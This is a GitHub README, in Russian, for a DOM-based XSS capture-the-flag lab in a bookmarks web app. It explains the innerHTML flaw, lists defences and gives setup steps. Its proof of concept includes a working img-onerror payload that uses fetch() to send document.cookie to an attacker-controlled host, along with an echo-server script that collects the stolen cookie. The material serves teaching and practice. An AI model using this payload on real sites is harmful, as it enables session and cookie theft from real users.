Skip to content

validverify/dom-xss-ctf

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DOM-based XSS в закладках — Bookmark CTF

Краткое описание уязвимости

DOM-based XSS (Cross-Site Scripting) возникает, когда JavaScript на странице берет данные из ненадежного источника и вставляет их в DOM не проверяя контента, позволяя выполнить произвольный JavaScript код на странице.

Ключевая причина — использование innerHTML для вставки данных, полученных из URL (параметр после #), без предварительной санитизации.

В чем опасность уязвимости?

  • Злоумышленник может создать специальную ссылку с вредоносным кодом в хеше
  • При переходе жертвы код выполняется в её браузере
  • Атакующий может украсть куки файлы, сессионные данные, перенаправить пользователя или выполнить действия от его имени

Способы защиты:

1. Использовать безопасные методы вставки

// Уязвимость
element.innerHTML = userData;

// Реализация безопасного варианта
element.textContent = userData;

2. Отчистка входных данных

// Использование DOMPurify.sanitize для очистки HTML
const clean = DOMPurify.sanitize(userData);
element.innerHTML = clean;

3. Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self'

4. HttpOnly cookies для защиты сессионных данных

setcookie("session", "value", ["httponly" => true]);

Запуск приложения

Требования:

  • Docker Compose
  • Установленнвка компонентов для Docker

Быстрый запуск

# Клонирование репозитория
git clone https://github.com/validverify/dom-xss-ctf.git
cd dom-xss-ctf

# Создание файла с переменными окружения
cp .env.ctf .env

# Запуск приложения
docker-compose up --build

Компоненты CTF

  • Уязвимое приложение: http://DOCKER_MACHINE_IP:8080
  • Бот админ

Переменные для окружения(.env)

Название перменной Описание Значение
FLAG Флаг для бота practice{dom_based_xss_in_bookmarks}
WEB_PORT Порт работы веба 8080

Уязвимость в реализованном приложении

Где находится уязвимость?

В файле web/bookmark.php на странице просмотра закладки:

let encodedTitle = location.hash.substring(1);
let titleFromHash = decodeURIComponent(encodedTitle);
document.getElementById('bookmark-title').innerHTML = titleFromHash; // Уязвимоя строка

Proof of Concept

PATH-1: Ручная атака

  1. Запустить HTTP сервер для приема данных Создаем небольшой-удобный клиент или запускаем через:
python3 -m http.server 8000 
  1. Создание XSS нагрузки на целевую страницу В примере, рассматриваем вставку вредоносного кода через элемент и ошибки его загрузки
http://MACHINE_IP:8080/bookmark.php#<img src=SMTH onerror="fetch('http://YOUR_IP:8000/?cookie='+document.cookie)">
  1. Ожидаем проходки ботом админом по списку ссылок
  2. Анализируем лог на echo сервере Как итог, флаг находится в куки файлах бота админа
GET /?cookie=flag=FLAG

PATH-2: Автоматизация и удобство

Под автатизацией, подразумевается, написание скрипта для атаки, без исследования интерфейса веб сайта Как вариант, приема сервера:

# echo_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging

logging.basicConfig(level=logging.INFO)

class EchoHandler(BaseHTTPRequestHandler):
	def do_GET(self):
		self.handle_echo()

	def do_POST(self):
		self.handle_echo()

	def handle_echo(self):
		request_path = self.path
		request_headers = self.headers
		
		content_length = int(self.headers.get('Content-Length', 0))
		body = self.rfile.read(content_length).decode('utf-8')

		logging.info(f"--- Incoming {self.command} Request ---")
		logging.info(f"Path: {request_path}")
		logging.info(f"Headers:\n{request_headers}")
		logging.info(f"Body:\n{body}")
		logging.info("----------------------------------")

		self.send_response(200)
		self.send_header('Content-type', 'text/plain')
		self.end_headers()
		
		response_text = f"Method: {self.command}\nPath: {request_path}\n\nHeaders:\n{request_headers}\nBody:\n{body}"
		self.wfile.write(response_text.encode('utf-8'))

if __name__ == '__main__':
	port = 8000
	server_address = ('', port)
	httpd = HTTPServer(server_address, EchoHandler)
	print(f"Starting echo server on port {port}...")
	httpd.serve_forever()

Структура приложения

bookmarkx-ctf/ ├── docker-compose.yml # Настройка контейнеров ├── .env # Переменные окружения ├── web/ │ ├── Dockerfile │ ├── index.php # Главная страница со списком закладок │ ├── add.php # Добавление новых закладок │ ├── bookmark.php # Уязвимый файл, для просмотра закладок │ └── data_storage.data # Хранилище закладок └── bot/ ├── Dockerfile ├── bot.py # Бот админ └── requirements.txt # Зависимости для бота

Форматы хранения данных

Данные data_storage.data

Название%:%URL
Google%:%https://google.com
GitHub%:%https://github.com

POC в илюстрациях

1. Запуск сервера

изображение

2. Добавление нагрузки

изображение

3. Запуск эхо сервера - ловушка

изображение

4. Ожидание новой проходки бота

изображение

5. Пойманный куки файл - флаг

изображение

About

dom-xss-ctf - Это простой CTF с уязвимостью DOM-XSS.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors